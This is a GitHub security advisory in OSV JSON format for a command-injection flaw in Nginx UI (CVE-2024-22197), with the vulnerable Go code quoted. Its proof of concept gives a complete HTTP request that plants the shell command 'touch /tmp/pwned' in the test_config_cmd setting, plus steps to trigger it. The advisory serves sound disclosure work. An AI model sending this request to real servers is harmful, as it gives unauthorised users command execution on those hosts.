CVE-2024-22197: Github.com/0xJacky/Nginx UI Authenticated (user Role) Remote Command Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-pxmr-q2x3-9x9m",
  "modified" : "2026-07-06T19:12:19Z",
  "published" : "2024-01-11T16:30:29Z",
  "aliases" : [ "CVE-2024-22197" ],
  "summary" : "Authenticated (user role) remote command execution by modifying `nginx` settings (GHSL-2023-269)",
  "details" : "### Summary\nThe `Home > Preference` page exposes a small list of nginx settings such as `Nginx Access Log Path` and `Nginx Error Log Path`. However, the API also exposes `test_config_cmd`, `reload_cmd` and `restart_cmd`. While the UI doesn't allow users to modify any of these settings, it is possible to do so by sending a request to the [API](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/router.go#L13).\n```go\nfunc InitPrivateRouter(r *gin.RouterGroup) {\n    r.GET(\"settings\", GetSettings)\n    r.POST(\"settings\", SaveSettings)\n    ...\n}\n```\nThe [`SaveSettings`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/settings.go#L18) function is used to save the settings. It is protected by the [`authRequired`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/router/middleware.go#L45) middleware, which requires a valid JWT token or a `X-Node-Secret` which must equal the `Node Secret` configuration value. However, given the lack of authorization roles, any authenticated user can modify the settings.\nThe `SaveSettings` function is defined as follows:\n```go\nfunc SaveSettings(c *gin.Context) {\n    var json struct {\n        ...\n        Nginx  settings.Nginx  `json:\"nginx\"`\n        ...\n    }\n\n    ...\n\n    settings.NginxSettings = json.Nginx\n\n    ...\n\n    err := settings.Save()\n    ...\n}\n```\nThe `test_config_cmd` setting is stored as [`settings.NginxSettings.TestConfigCmd`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/settings/nginx.go#L8). When the application wants to test the nginx configuration, it uses the [`TestConf`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/internal/nginx/nginx.go#L26) function:\n```go\nfunc TestConf() (out string) {\n\tif settings.NginxSettings.TestConfigCmd != \"\" {\n\t\tout = execShell(settings.NginxSettings.TestConfigCmd)\n\n\t\treturn\n\t}\n\n\tout = execCommand(\"nginx\", \"-t\")\n\n\treturn\n}\n```\nThe [`execShell`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/internal/nginx/nginx.go#L8) function is defined as follows:\n```go\nfunc execShell(cmd string) (out string) {\n\tbytes, err := exec.Command(\"/bin/sh\", \"-c\", cmd).CombinedOutput()\n\tout = string(bytes)\n\tif err != nil {\n\t\tout += \" \" + err.Error()\n\t}\n\treturn\n}\n```\nWhere the `cmd` argument is user-controlled and is passed to `/bin/sh -c`.\nThis issue was found using CodeQL for Go: [Command built from user-controlled sources](https://codeql.github.com/codeql-query-help/go/go-command-injection/).\n\n#### Proof of Concept\n> Based on [this setup](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/README.md?plain=1#L210) using `uozi/nginx-ui:v2.0.0-beta.7`.\n1. Login as a newly created user.\n2. Send the following request to modify the settings with `\"test_config_cmd\":\"touch /tmp/pwned\"`.\n```http\nPOST /api/settings HTTP/1.1\nHost: 127.0.0.1:8080\nContent-Length: 528\nAuthorization: <<JWT TOKEN>\nContent-Type: application/json\n\n{\"nginx\":{\"access_log_path\":\"\",\"error_log_path\":\"\",\"config_dir\":\"\",\"pid_path\":\"\",\"test_config_cmd\":\"touch /tmp/pwned\",\"reload_cmd\":\"\",\"restart_cmd\":\"\"},\"openai\":{\"base_url\":\"\",\"token\":\"\",\"proxy\":\"\",\"model\":\"\"},\"server\":{\"http_host\":\"0.0.0.0\",\"http_port\":\"9000\",\"run_mode\":\"debug\",\"jwt_secret\":\"foo\",\"node_secret\":\"foo\",\"http_challenge_port\":\"9180\",\"email\":\"foo\",\"database\":\"foo\",\"start_cmd\":\"\",\"ca_dir\":\"\",\"demo\":false,\"page_size\":10,\"github_proxy\":\"\"}}\n```\n3. Add a new site in `Home > Manage Sites > Add Site` with random data. The previously-modified `test_config_cmd` setting will be used [when the application tries to test the nginx configuration](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/sites/domain.go#L256).\n4. Verify that `/tmp/pwned` exists.\n```\n$ docker exec -it $(docker ps -q) ls -al /tmp\n-rw-r--r-- 1 root root    0 Dec 14 21:10 pwned\n```\n\n### Impact\n\nThis issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/0xJacky/Nginx-UI"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.9.10-0.20231219184941-827e76c46e63"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-pxmr-q2x3-9x9m"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-22197"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/0xJacky/nginx-ui/commit/827e76c46e63c52114a62a899f61313039c754e3"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/0xJacky/nginx-ui"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/router.go#L13"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/settings.go#L18"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/router/middleware.go#L45"
  }, {
    "type" : "WEB",
    "url" : "https://pkg.go.dev/vuln/GO-2024-2464"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-77" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-01-11T16:30:29Z",
    "nvd_published_at" : "2024-01-11T18:15:45Z"
  }
}